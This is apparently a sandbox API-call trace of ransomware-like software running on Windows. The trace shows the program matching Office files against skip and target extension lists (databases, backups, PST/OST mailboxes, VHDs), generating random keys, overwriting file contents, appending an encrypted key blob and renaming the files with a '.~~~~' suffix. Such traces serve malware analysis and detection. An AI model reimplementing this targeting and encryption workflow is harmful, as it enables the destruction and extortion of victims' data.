	[0138.127] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0138.128] GetLastError () returned 0x0
	[0138.128] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0138.128] GetLastError () returned 0x0
	[0138.133] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.133] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.134] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.134] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.135] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.135] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.135] CloseHandle (hObject=0xc4) returned 1
	[0138.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cecb0
	[0138.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME10.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme10.css.~~~~")) returned 1
	[0138.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cecb0 | out: hHeap=0x300000) returned 1
	[0138.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0138.138] GetLastError () returned 0x0
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".scr") returned 0x0
	[0138.138] lstrlenW (lpString=".cmd") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".cmd") returned 0x0
	[0138.138] lstrlenW (lpString=".dll") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dll") returned 0x0
	[0138.138] lstrlenW (lpString=".bat") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".bat") returned 0x0
	[0138.138] lstrlenW (lpString=".cpl") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".cpl") returned 0x0
	[0138.138] lstrlenW (lpString=".sys") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".sys") returned 0x0
	[0138.138] lstrlenW (lpString=".msc") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".msc") returned 0x0
	[0138.138] lstrlenW (lpString=".com") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".com") returned 0x0
	[0138.138] lstrlenW (lpString=".lnk") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".lnk") returned 0x0
	[0138.138] lstrlenW (lpString=".msp") returned 4
	[0138.138] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".msp") returned 0x0
	[0138.138] lstrlenW (lpString=".pif") returned 4
	[0138.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".pif") returned 0x0
	[0138.139] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.139] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0138.141] lstrlenW (lpString=".sqb") returned 4
	[0138.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".sqb") returned 0x0
	[0138.141] lstrlenW (lpString=".ost") returned 4
	[0138.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".ost") returned 0x0
	[0138.141] lstrlenW (lpString=".txt") returned 4
	[0138.141] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".txt") returned 0x0
	[0138.142] lstrlenW (lpString=".mdt") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".mdt") returned 0x0
	[0138.142] lstrlenW (lpString=".BDB") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".BDB") returned 0x0
	[0138.142] lstrlenW (lpString=".eql") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".eql") returned 0x0
	[0138.142] lstrlenW (lpString=".DBF") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DBF") returned 0x0
	[0138.142] lstrlenW (lpString=".EQL") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".EQL") returned 0x0
	[0138.142] lstrlenW (lpString=".FDB") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".FDB") returned 0x0
	[0138.142] lstrlenW (lpString=".EDB") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".EDB") returned 0x0
	[0138.142] lstrlenW (lpString=".DACPAC") returned 7
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.142] lstrlenW (lpString=".VHD") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".VHD") returned 0x0
	[0138.142] lstrlenW (lpString=".DBV") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DBV") returned 0x0
	[0138.142] lstrlenW (lpString=".dacpac") returned 7
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dacpac") returned 0x0
	[0138.142] lstrlenW (lpString=".sdf") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".sdf") returned 0x0
	[0138.142] lstrlenW (lpString=".accdb") returned 6
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".accdb") returned 0x0
	[0138.142] lstrlenW (lpString=".DBX") returned 4
	[0138.142] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DBX") returned 0x0
	[0138.143] lstrlenW (lpString=".MDT") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".MDT") returned 0x0
	[0138.143] lstrlenW (lpString=".SQB") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".SQB") returned 0x0
	[0138.143] lstrlenW (lpString=".vhd") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".vhd") returned 0x0
	[0138.143] lstrlenW (lpString=".bac") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".bac") returned 0x0
	[0138.143] lstrlenW (lpString=".mdf") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".mdf") returned 0x0
	[0138.143] lstrlenW (lpString=".BAK") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".BAK") returned 0x0
	[0138.143] lstrlenW (lpString=".BAC") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".BAC") returned 0x0
	[0138.143] lstrlenW (lpString=".dbs") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dbs") returned 0x0
	[0138.143] lstrlenW (lpString=".vhdx") returned 5
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".vhdx") returned 0x0
	[0138.143] lstrlenW (lpString=".NDF") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".NDF") returned 0x0
	[0138.143] lstrlenW (lpString=".dat") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dat") returned 0x0
	[0138.143] lstrlenW (lpString=".DBS") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DBS") returned 0x0
	[0138.143] lstrlenW (lpString=".CKP") returned 4
	[0138.143] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".CKP") returned 0x0
	[0138.143] lstrlenW (lpString=".edb") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".edb") returned 0x0
	[0138.144] lstrlenW (lpString=".PST") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".PST") returned 0x0
	[0138.144] lstrlenW (lpString=".dbf") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dbf") returned 0x0
	[0138.144] lstrlenW (lpString=".SQL") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".SQL") returned 0x0
	[0138.144] lstrlenW (lpString=".pst") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".pst") returned 0x0
	[0138.144] lstrlenW (lpString=".dbv") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dbv") returned 0x0
	[0138.144] lstrlenW (lpString=".SDF") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".SDF") returned 0x0
	[0138.144] lstrlenW (lpString=".dtxs") returned 5
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dtxs") returned 0x0
	[0138.144] lstrlenW (lpString=".db3") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".db3") returned 0x0
	[0138.144] lstrlenW (lpString=".OST") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".OST") returned 0x0
	[0138.144] lstrlenW (lpString=".dbx") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dbx") returned 0x0
	[0138.144] lstrlenW (lpString=".DB3") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DB3") returned 0x0
	[0138.144] lstrlenW (lpString=".DAT") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DAT") returned 0x0
	[0138.144] lstrlenW (lpString=".VHDX") returned 5
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".VHDX") returned 0x0
	[0138.144] lstrlenW (lpString=".ndf") returned 4
	[0138.144] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".ndf") returned 0x0
	[0138.145] lstrlenW (lpString=".DB") returned 3
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DB") returned 0x0
	[0138.145] lstrlenW (lpString=".sql") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".sql") returned 0x0
	[0138.145] lstrlenW (lpString=".MYD") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".MYD") returned 0x0
	[0138.145] lstrlenW (lpString=".DBT") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DBT") returned 0x0
	[0138.145] lstrlenW (lpString=".ACCDB") returned 6
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.145] lstrlenW (lpString=".fdb") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".fdb") returned 0x0
	[0138.145] lstrlenW (lpString=".bak") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".bak") returned 0x0
	[0138.145] lstrlenW (lpString=".myd") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".myd") returned 0x0
	[0138.145] lstrlenW (lpString=".DTXS") returned 5
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".DTXS") returned 0x0
	[0138.145] lstrlenW (lpString=".ckp") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".ckp") returned 0x0
	[0138.145] lstrlenW (lpString=".dbt") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".dbt") returned 0x0
	[0138.145] lstrlenW (lpString=".db") returned 3
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".db") returned 0x0
	[0138.145] lstrlenW (lpString=".TXT") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".TXT") returned 0x0
	[0138.145] lstrlenW (lpString=".MDF") returned 4
	[0138.145] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".MDF") returned 0x0
	[0138.146] lstrlenW (lpString=".bdb") returned 4
	[0138.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".bdb") returned 0x0
	[0138.146] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0138.146] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.146] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0138.147] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.147] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0138.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0138.147] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25813741252) returned 1
	[0138.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbbc9f170, dwHighDateTime=0x1d60e1e)) 
	[0138.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0138.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0138.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0138.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28259e8
	[0138.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28259e8 | out: hHeap=0x300000) returned 1
	[0138.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ceff8
	[0138.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceff8 | out: hHeap=0x300000) returned 1
	[0138.148] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0138.148] GetLastError () returned 0x0
	[0138.149] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0138.149] GetLastError () returned 0x0
	[0138.283] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.283] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0138.284] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.284] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.285] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.285] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.285] CloseHandle (hObject=0xc4) returned 1
	[0138.285] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf298
	[0138.285] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME11.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme11.css.~~~~")) returned 1
	[0138.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf298 | out: hHeap=0x300000) returned 1
	[0138.288] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0138.288] GetLastError () returned 0x0
	[0138.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".scr") returned 0x0
	[0138.288] lstrlenW (lpString=".cmd") returned 4
	[0138.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".cmd") returned 0x0
	[0138.288] lstrlenW (lpString=".dll") returned 4
	[0138.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".dll") returned 0x0
	[0138.288] lstrlenW (lpString=".bat") returned 4
	[0138.288] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".bat") returned 0x0
	[0138.288] lstrlenW (lpString=".cpl") returned 4
	[0138.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".cpl") returned 0x0
	[0138.289] lstrlenW (lpString=".sys") returned 4
	[0138.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".sys") returned 0x0
	[0138.289] lstrlenW (lpString=".msc") returned 4
	[0138.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".msc") returned 0x0
	[0138.289] lstrlenW (lpString=".com") returned 4
	[0138.289] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME16.CSS", lpSrch=".com") returned 0x0
	[0138.289] lstrlenW (lpString=".lnk") returned 4
